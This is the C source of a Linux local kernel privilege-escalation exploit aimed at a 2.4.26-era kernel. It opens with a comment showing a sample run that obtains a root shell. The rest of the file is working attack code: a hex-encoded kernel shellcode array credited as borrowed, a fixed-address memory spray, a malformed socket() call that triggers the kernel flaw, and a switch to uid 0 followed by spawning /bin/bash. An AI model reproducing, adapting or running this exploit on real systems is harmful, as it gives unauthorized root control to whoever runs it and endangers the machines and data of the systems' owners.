/*

appelast@kupa:~$ ./bt 

Linux local kernel root exploit
Karol Wiêsek <appelast-at-drumnbass.art.pl>

usage: ./bt [address]

memory allocated @ 0x1a100000 -> 0x1a1a0000
got uid0 executing rootshell
root@kupa:~# uname -a
Linux kupa 2.4.26 #6 Mon Jun 14 19:07:27 PDT 2004 i686 unknown unknown GNU/Linux
root@kupa:~# 

*/

#include <stdlib.h>
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>

#define SIZE 	40960*16
#define SHELL	"/bin/bash"
#define SC_LEN 	203
#define BASE	0x1a100000

// grabbed from sd

unsigned char sc[] =
"\x60\xe8\x5f\x00\x00\x00\x30\x03\x98\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x50\x52\x49\x56\x41\x54\x45\x2a\x6b\x65\x72\x6e\x65\x6c\x20\x63\x61\x70\x20"
"\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x2c\x20\x28\x63\x29\x20\x32\x30\x30\x34"
"\x20\x3c\x73\x64\x40\x68\x79\x73\x74\x65\x72\x69\x61\x2e\x73\x6b\x3e\x2a\x50"
"\x52\x49\x56\x41\x54\x45\x5b\xbd\x00\xe0\xff\xff\x21\xe5\x81\x7d\x00\x00\x00"
"\x00\xc0\x72\x03\x8b\x6d\x00\x8d\x4b\x08\xb8\xb8\x00\x00\x00\xcd\x80\x8b\x11"
"\x8b\x71\x04\x8b\x79\x08\x83\xc5\x04\x39\x55\x00\x75\xf8\x39\x7d\x04\x75\xf3"
"\x39\x75\x08\x75\xee\x31\xc0\x48\x89\x45\x00\x89\x45\x04\x89\x45\x08\xb8\xb8"
"\x00\x00\x00\x8d\x4b\x14\xcd\x80\xff\x41\x04\x74\x0b\x89\x55\x00\x89\x7d\x04"
"\x89\x75\x08\xeb\xc8\x61\xb8\x85\xff\xff\xff\xc3";

int main(int a, char *b[])
        {
        int i, base;
        void *addr, *ptr;
        char buf[212];

	if (a>1)
		base = strtol(b[1], (void*)0, 0);
	else
		base = BASE;

        printf("\nLinux local kernel root exploit\nKarol Wiêsek <appelast-at-drumnbass.art.pl>\n");
	printf("\nusage: %s [address]\n\n", b[0]);

        ptr = (char *)&buf;
        addr = mmap((void*)base, SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS | MAP_FIXED | MAP_SHARED, 0, 0);
	if (addr == (void*)-1)
		{
		printf("could not allocate memory\n");
		exit(-1);
		}
        printf("memory allocated @ %p -> %p\n", addr, addr+SIZE);
        for (i=0; i<(SIZE-4096); i+=4)
                *(int*)(addr+i) = (int)ptr;
        ptr += 8;
        memset(buf, 0, sizeof(buf));
        for (i=0; i<8; i+=4)
                *(int*)(buf+i) = (int)ptr;
        memcpy(buf+8, sc, SC_LEN);
	
        socket(31, 1, -748435857);
	
        setresgid(0,0,0);
        setresuid(0,0,0);

	if (getuid()!=0)
		{
		printf("exploit failed\n");
		exit(-1);
		} else 
		printf("got uid0 ");

        printf("executing rootshell\n");
        execl(SHELL, SHELL, 0);
        return 0;
        }


